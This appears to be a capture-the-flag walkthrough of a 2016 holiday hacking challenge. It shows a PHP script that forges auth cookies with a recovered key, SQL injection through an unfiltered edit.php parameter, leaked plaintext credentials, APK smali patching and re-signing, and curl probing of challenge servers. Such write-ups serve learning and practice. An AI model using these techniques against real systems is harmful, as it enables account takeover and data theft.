In the object file ".git/objects/0a/d23f39b6572ebd114071c801e2140f7092e8a8.out" I find code that refers to the "guest" account.

// EXPERIMENTAL! Only allow guest to download. if ($username === 'guest') { $result = query($db, "SELECT * FROM `audio` WHERE `id` = '" . mysqli_real_escape_string($db, $_GET['id']) . "' and `username` = '" . mysqli_real_escape_string($db, $username) . "'");

The below is a PHP script that will generate authentication cookies that we can apply to the "AUTH" value.

# cat gentoken.php <?php define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc"); function encrypt($data) { return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream'); } $auth = encrypt(json_encode(['username' => "guest", 'date' => date(DateTime::ISO8601),])); echo bin2hex($auth); ?>

Our auth token for the "guest" account.

# php gentoken.php 82532b2136348aaa1fa7dd2243da1cc9fb13037c49259e5ed70768d4e9baa1c80b97fee8bfa42881f178bb70c49e0955b14648637bec

Setting our cookie in Cookies Manager+ we successfully gain access to the "guest" account.

At the top of the page is a button labeled "MP3" which lets us download "discombobulatedaudio2.mp3".

Since we know there are two MP3 files on this server, we'll continue on.

Taking a look at the "index.php" page in object file "./git/objects/63/e494c4654066d2ee8f28135b1855dda23d88f7.out", we see that the MP3 button only appears if we're logged in as "guest", but we also learn there is an "administrator" account with an "Edit" button instead.

<?php if (get_username() == 'guest') { ?> <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li> <?php } if (get_username() == 'administrator') { ?> <li><a href="/edit.php">Edit</a></li> <?php

We find the code for the "mp3_web_path" function in object file "./git/objects/10/d46fe7c496411ff18f9177d6f99c25f2d0400a.out" and shows that our user-ID is passed as a parameter to the "getaudio.php" file.

function mp3_web_path($db) { $result = query($db, "SELECT `id` FROM `audio` WHERE `username` = '" . mysqli_real_escape_string($db, get_username()) . "'"); if (!$result) { return null; } return 'getaudio.php?id=' . $result[0]['id']; }

Let's go ahead and generate the "administrator" account cookie and see if we can get the user-ID to pass to the "getaudio.php" file.

# php test.php 82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cf9e6549b8494d6063a50565b71c76884152

After logging in as the "administrator" account I reviewed "getaudio.php" found in object file ".git/objects/0a/d23f39b6572ebd114071c801e2140f7092e8a8.out". Unfortunately, my hopes of just passing an ID were quickly dashed with the below code.

// EXPERIMENTAL! Only allow guest to download. if ($username === 'guest') { $result = query($db, "SELECT * FROM `audio` WHERE `id` = '" . mysqli_real_escape_string($db, $_GET['id']) . "' and `username` = '" . mysqli_real_escape_string($db, $username) . "'");

The ID is gathered by unpacking the "AUTH" cookie and getting the username and then looking it up within the database. All hopes of SQLi through these functions get crushed by parameterized values and the mysqli_real_escape_string function.

I found that I was able to inject reports into the database through the "report.php" page that was found in the APK resources, but ultimately could not get it to render any PHP due to the mysql_real_escape_string and htmlentities functions. Along with this, since there were so many object files, I quite frequently found older versions of a pages which contained vulnerabilities that weren't actually exploitable in the currently deployed iteration so I chased a lot of red herrings.

Taking a step back, the "administrator" account is given access to a new page so it makes sense to think that page will be crucial is completing this attack. The "Edit" page lets you edit saved queries from the "Query Engine". The queries allow you to lookup reported information, presumably from the SantaGram application.

Reviewing the code in object file ".git/objects/b7/5048eda4700268b38de8aff1dfec5a8f023ab5.out" shows how the queries are built for the "report" table; specifically there is a "id", "name", "description", and "query" value.

$query = "SELECT * "; $query .= "FROM `app_" . $type . "_reports` "; $query .= "WHERE " . join(' AND ', $where) . " "; $query .= "LIMIT 0, 100"; if(isset($_REQUEST['save'])) { $id = gen_uuid(); $name = "report-$id"; $description = "Report generated @ " . date('Y-m-d H:i:s'); $result = mysqli_query($db, "INSERT INTO `reports` (`id`, `name`, `description`, `query`) VALUES ('$id', '$name', '$description', '" . mysqli_real_escape_string($db, $query) . "') ");

When I reviewed "edit.php" in the object file ".git/objects/c0/8beb21bd744a41d784eb9b1e9e90d2b3a884cc.out", I noticed it checks if if the "id" value is passed as a parameter with "$_GET['id']". If that parameter exists, it checks the rest of the parameters in the URI and subsequently updates each field in the database with the provided value, if it doesn't then it uses the values passed through the webpage.

$result = mysqli_query($db, "SELECT * FROM `reports` WHERE `id`='" . mysqli_real_escape_string($db, $_GET['id']) . "' LIMIT 0, 1"); if(!$result) { reply(500, "MySQL Error: " . mysqli_error($db)); die(); } $row = mysqli_fetch_assoc($result); # Update the row with the new values $set = []; foreach($row as $name => $value) { print "Checking for " . htmlentities($name) . "...<br>"; if(isset($_GET[$name])) { print 'Yup!<br>'; $set[] = "`$name`='" . mysqli_real_escape_string($db, $_GET[$name]) . "'"; } }

Notice what's missing?

The "query" value isn't available via the website but should be available via the URI! A quick sanity check of "view.php" to make sure it doesn't filter out the query in any way.

<?php format_sql(query($db, $row['query'])); }

Now we're onto something if we can craft a SQL query that lets us dump the MP3 file from the database.

In the object file ".git/objects/49/76b1415ee55aa3a757db375d0f24a826e1c85f.out" we find a SQL dump and see how our "audio" table is constructed.

CREATE TABLE `audio` ( `id` varchar(36) NOT NULL, `username` varchar(32) NOT NULL, `filename` varchar(32) NOT NULL, `mp3` MEDIUMBLOB NOT NULL, PRIMARY KEY (`id`)

A quick validation by sumbitting the below URL...


Then browsing to it via "view.php"...

Now that we validated injection, it's time to dump that MP3!

As "MEDIUMBLOB" is a byte string, I opted to convert it to hex and extract it that way via the website.


The result.

A quick copy and paste again into the 010 Editor and we now have "discombobulatedaudio7.mp3".

*NOTE* The below was also found in the database file. The "administrator" credentials are valid but the "guest" one does not work. It was a moot point due to the cookie generator I wrote.

INSERT INTO `users` VALUES (0,'administrator','KeepWatchingTheSkies'),(1,'guest','busyllama67');

The Dungeon Game

Nmap reveals a socket listening on TCP/111111 and a webserver which has instructions for a game called "Dungeon".

Starting Nmap 7.12 ( https://nmap.org ) at 2016-12-14 10:46 EST Nmap scan report for dungeon.northpolewonderland.com ( Host is up (0.94s latency). Other addresses for dungeon.northpolewonderland.com (not scanned): rDNS record for Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 1024 4e:cd:15:a7:44:ed:87:d5:41:81:c2:0e:78:db:c0:d0 (DSA) | 2048 5b:14:72:d1:17:a2:3f:98:fb:fe:6c:7d:29:49:19:a2 (RSA) |_ 256 6a:8d:56:49:a3:f5:8c:fd:14:42:a7:c0:4e:ef:a8:64 (ECDSA) 80/tcp open http |_http-title: About Dungeon 11111/tcp open vce Nmap done: 1 IP address (1 host up) scanned in 5.40 seconds

If you're not familiar with this game, it's a variant of Zork which is another old-school text-based adventure game. You enter commands and navigate the game world to collect treasure. I hate Zork. I hated it in the 80's, I hated in the 90's, and I've continued to hate it for each decade since. I'd almost forgotten how much I disliked this game until I had to play it again here.

$ nc dungeon.northpolewonderland.com 11111 Welcome to Dungeon. This version created 11-MAR-78. You are in an open field west of a big white house with a boarded front door. There is a small wrapped mailbox here. >open mailbox Opening the mailbox reveals: A leaflet. >read leaflet Taken. Welcome to Holiay Hack Challenge Dungeon! Dungeon is a game of adventure, danger, and low cunning. In it you will explore some of the most amazing territory ever seen by mortal man. Hardened adventurers have run screaming from the terrors contained within. In Dungeon, the intrepid explorer delves into the forgotten secrets of a lost labyrinth deep in the bowels of the earth, searching for vast treasures long hidden from prying eyes, treasures guarded by fearsome monsters and diabolical traps! Your mission is to find the elf at the North Pole and barter with him for information about holiday artifacts you need to complete your quest. While the original mission objective of collecting twenty treassures to place in the trophy case is still in play, it is not necessary to finish your quest. No DECsystem should be without one! Dungeon was created at the Programming Technology Division of the MIT Laboratory for Computer Science by Tim Anderson, Marc Blank, Bruce Daniels, and Dave Lebling. It was inspired by the Adventure game of Crowther and Woods, and the Dungeons and Dragons game of Gygax and Arneson. The original version was written in MDL (alias MUDDLE). The current version was translated from MDL into FORTRAN IV by a somewhat paranoid DEC engineer who prefers to remain anonymous, and was later translated to C. On-line information may be obtained with the commands HELP and INFO.

We're also given quite a few hints from our friendly Elves.

<Alabaster Snowball> - Hi, I'm Alabaster Snowball. I'm a bug bounty hunter! <Alabaster Snowball> - Did Pepper send you? She's obsessed with Dungeon! <Alabaster Snowball> - I don't know if Dungeon can be won. I do believe there is a way to cheat though...


<Pepper Minstix> - When I need a break from bug bounty work, I play Dungeon. I've been playing it since 1978. I still have yet to beat the Cyclops... <Pepper Minstix> - Alabaster's brother is the only elf I've ever seen beat it, and he really immersed himself in the game. I have an old version here.

I decided to try and play the game, which directly correlates to my hate of the game. Many hours went into using the maps found here to try and navigate the game.

Since the Elf hinted at beating the Cyclops, I hoped that I would find the new Elf NPC in that area...I was wrong. But I still grabbed the egg, killed a troll, and made it all the way past the Cyclops to fight the Thief! I was actually pretty pleased with that but I kept getting killed by the Thief, presumably because I didn't have a high enough score yet.

open mailbox read drop n n u get egg open egg d s s e s w s n e open window enter take sack w take sword take lantern move rug open trap door down turn on lantern e attack troll s e e s w u take coins take keys sw e s ne Ulysses u give egg d n e e u take knife d w w s u kill thief

I decided to take a look at the binary and approach this problem differently since I didn't seem to make headway playing legit.

# file dungeon dungeon: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98dcce48be68f3ec423311876266acb5e097a01b, not stripped

So we have a 64-bit ELF binary (elf...heh) that hasn't been stripped. Checking out the strings revealed some interesting entries as well. Below is a snippit containing the juicy parts.

DRDODADCDXDHDLDVDFDSAFHENRNTNCNDRRRTRCRDTKEXARAOAAACAXAVD2DNANDMDTAHDPPDDZAZHH You are not an authorized user. GDT> Idx,Ary: %d %d Limits: Entry: RM# DESC1 DESC2 EXITS ACTION VALUE FLAGS %6d OB# DESC1 DESC2 DESCO ACT FLAGS1 FLAGS2 FVL TVL SIZE CAPAC ROOM ADV CON READ %3d%6d%6d%6d%4d%7d%7d%4d%4d%6d%6d %4d%4d%4d%6d AD# ROOM SCORE VEHIC OBJECT ACTION STREN FLAGS CL# TICK ACTION FLAG %3d %6d %6d %c RANGE CONTENTS %3d-%3d THFPOS= %d, THFFLG= %c, THFACT= %c SWDACT= %c, SWDSTA= %d R=%d, X=%d, O=%d, C=%d V=%d, A=%d, M=%d, R2=%d MBASE=%d, STRBIT=%d VL# OBJECT PROB OPPS BEST MELEE Flag #%-2d = %c Parse vector= %6d %6d %6d %c %6d Play vector= %6d %6d %c State vector= %6d %6d %6d %6d %6d %6d %6d %6d %6d %6d %6d Scol vector= %6d %6d %6d Old= %c New= Valid commands are: AA- Alter ADVS DR- Display ROOMS AC- Alter CEVENT DS- Display state AF- Alter FINDEX DT- Display text AH- Alter HERE DV- Display VILLS AN- Alter switches DX- Display EXITS AO- Alter OBJCTS DZ- Display PUZZLE AR- Alter ROOMS D2- Display ROOM2 AV- Alter VILLS EX- Exit AX- Alter EXITS HE- Type this message AZ- Alter PUZZLE NC- No cyclops DA- Display ADVS ND- No deaths DC- Display CEVENT NR- No robber DF- Display FINDEX NT- No troll DH- Display HACKS PD- Program detail DL- Display lengths RC- Restore cyclops DM- Display RTEXT RD- Restore deaths DN- Display switches RR- Restore robber DO- Display OBJCTS RT- Restore troll DP- Display parser TK- Take No robber. No troll. No cyclops. No deaths. Restored robber. Restored troll. Restored cyclops. Restored deaths. Taken. Old = %6d New = Old= %6d New= Old = %6d New= #%2d Room=%6d Obj=%6d

No deaths? Sign me up!

Googling a few of those strings led me to this Github page for the file "zork/gdt.c".


Typing "gdt" in the game gives us access to the menu I found in the binary strings output.

The "nd" command flips on god-mode and I finally put the Thief to rest! But...I still couldn't find the Elf anywhere around that area. Argh!

After a breather and some Zork research online, I found just one website which mentioned this incantation you can cast within the game to automatically warp to the endgame! Surely, the Elf will be at the endgame!

incant, DNZHUO IDEQTQ d n break beam s push button n n enter lift short pole push red wall push red wall push short pole push mahogany wall push mahogany wall push mahogany wall push mahogany wall lift short pole push red wall push red wall push red wall push red wall push pine wall n

Pro-tip: He's not. SANTA ZORK! Since I had god-mode enabled, I also got stuck in this location since you're not supposed to actually be able to survive the attack by the Guardians once you step through the Pine Wall into the open field...

Going back to the drawing-board I decided to take another look at the GDT menu and noticed this gem "TK", or "Take", and had the bright idea that maybe I could just take all of the 20 treasures I needed and beat the game "legitimately" since so much seems to be based on your score (it kept telling me my score rank was "Hacker".

Playing around with the command, it effectively just takes a number as an argument and puts the corresponding object into your inventory. There didn't appear to be any rhyme or reason as to the layout of objects in the array and it even held non-inventory based items, such-as glaciers, a large tree, and a cliff.

I determined I'd need to enumerate all of the objects to find the indexes of the treasure and wrote a quick script to take a set of objects and then check my inventory. Below is an example of the first few objects, along with my notation for object number of the treasures needed to win the game.

A brown sack. A clove of garlic. A lunch. A piece of vitreous slag. A small pile of coal. 06* A jade figurine. A machine. 08* A huge diamond. A trophy case. A glass bottle. A quantity of water. A rope. A knife. A sword. A lamp. A broken lamp. A carpet. A pile of leaves. A troll. A bloody axe. A rusty knife. A burned-out lantern. A set of skeleton keys. A skeleton. 25* A bag of coins. 26* A platinum bar. A pearl necklace. A mirror.

Around object 200 something magical happened...

>GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: Taken. GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ? GDT>Entry: ?

We hit the end...let's see what the last few items are so we can grab our treasure.

GDT>ex >i You are carrying: A pair of hands. A breath. A flyer. A bird. A tree. A northern wall. A southern wall. A eastern wall. A western wall. A water. A Guardian of Zork. A compass rose. A mirror. A panel. A stone channel. A dungeon master. A ladder. A Elf.

An Elf!

Since I know I need to give the Elf some treasure, I give him the only thing in my inventory that might be treasure-ish, a bird that I dubbed "Puffington" to align with the spirit of the North Pole theme.

>look at elf The elf appears increasingly impatient. You are behind the white house. In one corner of the house there is a window which is open. >give elf bird "That wasn't quite what I had in mind", he says, tossing the bird into the fire, where it vanishes.


A quick visit to treasure/index list and I grab a treasure I know he'll like.

>gdt GDT>tk Entry: 154 Taken. GDT>ex >give elf egg The elf, satisified with the trade says - send email to "peppermint@northpolewonderland.com" for that which you seek. The elf says - you have conquered this challenge - the game will now end. Your score is 15 [total of 585 points], in 9 moves. This gives you the rank of Beginner.

I send a quick e-mail off to Peppermint and get the next audio file, "discombobulatedaudio3.mp3", for our trouble.

The Debug Server

Taking a look at the Nmap results doesn't reveal much detail about this server.

# nmap -A -p - dev.northpolewonderland.com Starting Nmap 7.12 ( https://nmap.org ) at 2016-12-17 22:01 EST Stats: 0:04:13 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 37.87% done; ETC: 22:12 (0:06:53 remaining) Nmap scan report for dev.northpolewonderland.com ( Host is up (0.023s latency). Other addresses for dev.northpolewonderland.com (not scanned): rDNS record for Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) | ssh-hostkey: | 1024 a4:98:4c:b7:ba:53:71:ce:5c:b0:01:d6:66:2e:d2:e4 (DSA) | 2048 df:44:96:be:13:c7:13:8a:b4:4a:43:4d:5b:f4:d4:2f (RSA) |_ 256 b7:a2:a2:cc:d9:84:b4:34:98:4b:74:bc:4d:20:cd:90 (ECDSA) 80/tcp open http nginx 1.6.2 |_http-server-header: nginx/1.6.2 |_http-title: Site doesn't have a title (application/json). Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: WAP|general purpose Running: Actiontec embedded, Linux 2.4.X|3.X OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2 OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 12.04 ms 2 11.01 ms (

It does indicate "application/json" content-type but using the POST method to send JSON objects to the "index.php" file we found in the APK didn't return any error messages or clues.

To understand the function of the webserver better, I started rooting around in the APK looking for hints.

In the "SantaGram_4.2/res/values/strings.xml" file, the below stood out.

<string name="debug_data_collection_url">http://dev.northpolewonderland.com/index.php</string> <string name="debug_data_enabled">false</string>

That's interesting. It appears that debug data is sent to the URL but by default debug is disabled.

Digging into this further, looking at the decompiled code as Java in the "SantaGram_4.2/com/northpolewonderland/santagram/EditProfile.class" file shows strings that indicate "Remote debug logging" and a JSON object structure.

if (getString(2131165214).equals("true")) { Log.i(getString(2131165204), "Remote debug logging is Enabled"); i = 1; } for (;;) { getSupportActionBar().a(true); getSupportActionBar().b(true); getSupportActionBar().a("Edit Profile"); this.a = new ProgressDialog(this); this.a.setTitle(2131165208); this.a.setIndeterminate(false); if (i != 0) {} try { JSONObject localJSONObject = new JSONObject(); localJSONObject.put("date", new SimpleDateFormat("yyyyMMddHHmmssZ").format(Calendar.getInstance().getTime())); localJSONObject.put("udid", Settings.Secure.getString(getContentResolver(), "android_id")); localJSONObject.put("debug", getClass().getCanonicalName() + ", " + getClass().getSimpleName()); localJSONObject.put("freemem", Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory()); new Thread(new EditProfile.1(this, localJSONObject)).start();

Looking up each of those functions and creating values for them didn't get me anywhere.

*NOTE* I later realize my mistake here - a lack of understanding of the getCanonicalName and getSimpleName. It was worth it in the end since I learned more.

# curl -X POST -H "Content-Type: application/json" "http://dev.northpolewonderland.com/index.php" -d '{"date":"20161114130421-0500","udid":"bacbec2c-dcf1-4237-8cf3-13d0bd4175a5","debug":"EditProfile, EditProfile","freemem":12345678}'

At this point, I came to the conclusion that the only way I was going to get the correct syntax for the JSON object the server expects was to run the APK.

For whatever reason I could not get the Android SDK emulator to work and resorted to downloading "free" Android emulators. I'm lucky I have a malware analysis VM as I have no doubt in my mind that this thing got compromised from all the shady Android emulators out there. Suffice to say, I found that the Chinese KOPLAYER worked well enough (it's designed to play Android games).

Once again, some helpful Elf hints gives us the tools and knowledge we need to beat the challenge.

<Shinny Upatree> - Hi, my name is Shinny Upatree. I'm one of Santa's bug bounty elves. <Shinny Upatree> - I'm the newest elf on Santa's bug bounty team. I've been spending time reversing Android apps. <Shinny Upatree> - Did you know Android APK files are just zip files? If you unzip them, you can look at the application files. <Shinny Upatree> - Android apps written in Java can be reverse engineered back into the Java form using JadX. <Shinny Upatree> - The JadX-gui tool is quick and easy to decompile an APK, but the jadx command-line tool will export the APK as individual Java files. <Shinny Upatree> - Android Studio can import JadX's decompiled files. It makes it easier to understand obfuscated code. <Shinny Upatree> - Take a look at Joshua Wright's presentation from HackFest 2016 on using Android Studio and JadX effectively.


<Bushy Evergreen> - Hi, I'm Bushy Evergreen. Shinny and I lead up the Android Analysis team. <Bushy Evergreen> - Shinny spends most of her time on app reverse engineering. I prefer to analyze apps at the Android bytecode layer. <Bushy Evergreen> - My favorite technique? Decompiling Android apps with Apktool. <Bushy Evergreen> - JadX is great for inspecting a Java representation of the app, but can't be changed and then recompiled. <Bushy Evergreen> - With Apktool, I can preserve the functionality of the app, then change the Android bytecode smali files. <Bushy Evergreen> - I can even change the values in Android XML files, then use Apktool again to recompile the app. <Bushy Evergreen> - Apktool compiled apps can't be installed and run until they are signed. The Java keytool and jarsigner utilities are all you need for that. <Bushy Evergreen> - This video on manipulating and re-signing Android apps is pretty useful.

I went ahead and decompiled the APK to get access to the smali files.

PS C:\Users\Mater Metal\Desktop> apktool d .\SantaGram_4.2.apk I: Using Apktool 2.2.1 on SantaGram_4.2.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: C:\Users\Mater Metal\AppData\Local\apktool\framework\1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...

We saw in the "EditProfile.class" that there is a logical if-then statement that checks to see whether debugging is enabled. Since we know that it's not, we can change the Smali to proceed when debbing is disabled.

In the "SantaGram_4.2/smali/com/northpolewonderland/santagram/EditProfile.smali" file, we see the if-then statement.

invoke-virtual {p0, v0}, Lcom/northpolewonderland/santagram/EditProfile;->getString(I)Ljava/lang/String; move-result-object v0 const-string v3, "true" invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v0 if-eqz v0, :cond_3 invoke-virtual {p0, v6}, Lcom/northpolewonderland/santagram/EditProfile;->getString(I)Ljava/lang/String; move-result-object v0 const-string v3, "Remote debug logging is Enabled" invoke-static {v0, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I move v0, v1

To get what we want, we'll change "If equal" comparison.

if-eqz v0, :cond_3

To "If not equal".

if-nez v0, :cond_3

Next, we need to recompile the APK with our changes.

PS C:\Users\Mater Metal\Desktop> apktool b .\SantaGram_4.2 I: Using Apktool 2.2.1 I: Checking whether sources has changed... I: Smaling smali folder into classes.dex... I: Checking whether resources has changed... I: Building resources... I: Building apk file... I: Copying unknown files/dir...

After that, we'll need to sign the APK so that we can load it into our emulator.

PS C:\Users\Mater Metal\Desktop> & 'C:\Program Files\Java\jdk1.8.0_111\bin\keytool.exe' -genkey -v -keystore keys/SantaGram.keystore -alias SantaGram -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000 Enter keystore password: Re-enter new password: What is your first and last name? [Unknown]: Newt What is the name of your organizational unit? [Unknown]: Dev What is the name of your organization? [Unknown]: Dev What is the name of your City or Locality? [Unknown]: North Pole What is the name of your State or Province? [Unknown]: World What is the two-letter country code for this unit? [Unknown]: SA Is CN=Newt, OU=Dev, O=Dev, L=North Pole, ST=World, C=SA correct? [no]: yes Generating 1,024 bit RSA key pair and self-signed certificate (SHA1withRSA) with a validity of 10,000 days for: CN=Newt, OU=Dev, O=Dev, L=North Pole, ST=World, C=SA Enter key password for <SantaGram> (RETURN if same as keystore password): Re-enter new password: [Storing keys/SantaGram.keystore] PS C:\Users\Mater Metal\Desktop> & 'C:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe' -keystore .\keys\SantaGram.keystore .\SantaGram_4.2\dist\SantaGram_4.2.apk -sigalg SHA1withRSA -digestalg SHA1 SantaGram Enter Passphrase for keystore: jar signed. Warning: No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not be able to validate this jar after the signer certificate's expiration date (2044-05-05) or after any future revocation date.

The APK successfully installs on KOPLAYER.

I'm continually impressed with the level of detail they put into this years challenges!

Finally, going to edit our profile we capture the requests that we need.

We were so close the first time! I just didn't properly list the full path...

# curl -X POST -H "Content-Type: application/json" "http://dev.northpolewonderland.com/index.php" -d '{"date":"20161114130421-0500","udid":"bacbec2c-dcf1-4237-8cf3-13d0bd4175a5","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":12345678}' {"date":"20161219192057","status":"OK","filename":"debug-20161219192057-0.txt","request":{"date":"20161114130421-0500","udid":"bacbec2c-dcf1-4237-8cf3-13d0bd4175a5","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":12345678,"verbose":false}}

You can see that it returns us a JSON object which includes a filename. One thing to note is that it also returns the original request we sent...but there is something additional in it that we didn't specify.


Let's flip that to "true" and see what happens.

# curl -X POST -H "Content-Type: application/json" "http://dev.northpolewonderland.com/index.php" -d '{"date":"20161114130421-0500","udid":"bacbec2c-dcf1-4237-8cf3-13d0bd4175a5","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":12345678,"verbose":true}' {"date":"20161219192600","date.len":14,"status":"OK","status.len":"2","filename":"debug-20161219192600-0.txt","filename.len":26,"request":{"date":"20161114130421-0500","udid":"bacbec2c-dcf1-4237-8cf3-13d0bd4175a5","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":12345678,"verbose":true},"files":["debug-20161219191712-0.txt","debug-20161219191950-0.txt","debug-20161219192001-0.txt","debug-20161219192057-0.txt","debug-20161219192353-0.txt","debug-20161219192406-0.txt","debug-20161219192457-0.txt","debug-20161219192600-0.txt","debug-20161224235959-0.mp3","index.php"]}

We are provided with a list of files on the server and find the locaion for our MP3 file, "debug-20161224235959-0.mp3".

The Banner Ad Server

Starting off with Nmap shows that we'll be dealing with another website.

# nmap -sC ads.northpolewonderland.com Starting Nmap 7.12 ( https://nmap.org ) at 2016-12-14 10:45 EST Nmap scan report for ads.northpolewonderland.com ( Host is up (0.071s latency). Other addresses for ads.northpolewonderland.com (not scanned): Not shown: 998 filtered ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 1024 cf:4c:e0:20:6d:e7:c6:b1:6b:9f:ac:75:45:16:b1:93 (DSA) | 2048 b9:a4:df:1e:34:0f:58:3e:2c:b7:e6:c6:77:0f:f5:3b (RSA) |_ 256 02:ec:fc:80:c0:fc:76:b3:cd:d2:64:39:af:3c:13:b3 (ECDSA) 80/tcp open http |_http-title: Ad Nauseam - Stupid Ads for Stupid People

Looking at the site shows some scrolling ads and in the top right is a "Login" button.

Peering under the hood at the source code reveals this snippit.

<script type="text/javascript">__meteor_runtime_config__ = JSON.parse(decodeURIComponent("%7B%22meteorRelease%22%3A%22METEOR%401.4.2.3%22%2C%22meteorEnv%22%3A%7B%22NODE_ENV%22%3A%22production%22%2C%22TEST_METADATA%22%3A%22%7B%7D%22%7D%2C%22PUBLIC_SETTINGS%22%3A%7B%7D%2C%22ROOT_URL%22%3A%22http%3A%2F%2Fads.northpolewonderland.com%22%2C%22ROOT_URL_PATH_PREFIX%22%3A%22%22%2C%22appId%22%3A%221vgh1e61x7h692h4hyt1%22%2C%22autoupdateVersion%22%3A%22537dcf6b4594db16ea2d99d0a920f2deeb7dc9f1%22%2C%22autoupdateVersionRefreshable%22%3A%2205c3f7dba9f3e15efa3d971acf18cab901dc0505%22%2C%22autoupdateVersionCordova%22%3A%22none%22%7D"));</script>

Decoding that gives us the JSON object below; however, the really important thing is the indication of the "meteor_runtime_config" telling us that it's a Meteor-built application.

{ "meteorRelease":"METEOR@", "meteorEnv":{ "NODE_ENV":"production", "TEST_METADATA":"{}" }, "PUBLIC_SETTINGS":{}, "ROOT_URL":"http://ads.northpolewonderland.com", "ROOT_URL_PATH_PREFIX":"", "appId":"1vgh1e61x7h692h4hyt1", "autoupdateVersion":"537dcf6b4594db16ea2d99d0a920f2deeb7dc9f1", "autoupdateVersionRefreshable":"05c3f7dba9f3e15efa3d971acf18cab901dc0505", "autoupdateVersionCordova":"none" }

I'm not familiar with the Meteor Framework but luckily the Elf Pepper Minstix has us covered with a few useful hints!

<Pepper Minstix> - Hi, my name is Pepper Minstix. I'm one of Santa's bug bounty elves. <Pepper Minstix> - Lately, I've been spreading time attacking JavaScript frameworks, specifically the Meteor Framework. <Pepper Minstix> - Meteor uses a publish/subscribe messaging platform. This makes it easy for a web page to get dynamic data from a server. <Pepper Minstix> - Meteor's message passing mechanism uses the Distributed Data Protocol (DDP). DDP is basically a JSON-based protocol useing WebSockets and SockJS for RPC and data management. <Pepper Minstix> - The good news is that Meteor mitigates most XSS attacks, CSRF attacks, and SQL injection attacks. <Pepper Minstix> - The bad news is that people get a little too caught up in messaging subscriptions, and get too much data from the server. <Pepper Minstix> - You should check out Tim Medin's talk from HackFest 2016 and the related blog post. <Pepper Minstix> - Also, Meteor Miner is a browser add-on for Tampermonkey to easily browse through Meteor subscriptions. Check it out!

Grabbing Meteor Miner and checking out the site shows a "Collection" called "HomeQuotes".

Note the "audio" field for the single record.

Throwing the below command into the Java Console gives us the output for the records.


Looking at the 5th element in the array gives us the information we're after, the URL for the next MP3 - "discombobulatedaudio5.mp3".

The Uncaught Exception Handler Server

For the exception server, we know based on the URL in the APK that there is an "exception.php" file. Browsing to that file gives us a message that we must use the HTTP POST method. Upon each "correct" request, I kept receiving error messages that divulged what the next expected piece was.

# curl -s "http://ex.northpolewonderland.com/exception.php" Request method must be POST # curl -X POST -s "http://ex.northpolewonderland.com/exception.php" Content type must be: application/json # curl -X POST -H "Content-Type: application/json" -s "http://ex.northpolewonderland.com/exception.php" -d '{"1":"1"}' Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump. # curl -X POST -H "Content-Type: application/json" -s "http://ex.northpolewonderland.com/exception.php" -d '{"operation":"ReadCrashDump"}' Fatal error! JSON key 'data' must be set. # curl -X POST -H "Content-Type: application/json" -s "http://ex.northpolewonderland.com/exception.php" -d '{"operation":"ReadCrashDump","data":1}' Fatal error! JSON key 'crashdump' must be set. # curl -X POST -H "Content-Type: application/json" -s "http://ex.northpolewonderland.com/exception.php" -d '{"operation":"ReadCrashDump","data":1,"crashdump":1}' Fatal error! JSON key 'crashdump' must be set.

Playing around with the two operations, "WriteCrashDump" showed that I could pass data and access it through the website at the file name it provides me.

# curl -X POST -H "Content-Type: application/json" -s "http://ex.northpolewonderland.com/exception.php" -d '{"operation":"WriteCrashDump","data":"12345"}' { "success" : true, "folder" : "docs", "crashdump" : "crashdump-9dftyA.php" }


I tried various forms of injection to get the PHP to interpet on the website but it looked like the htmlentities and/or additional filtering was in play and preventing this. I did find a way to bypass these for XSS, but since that doesn't progress us, it was a bit pointless.

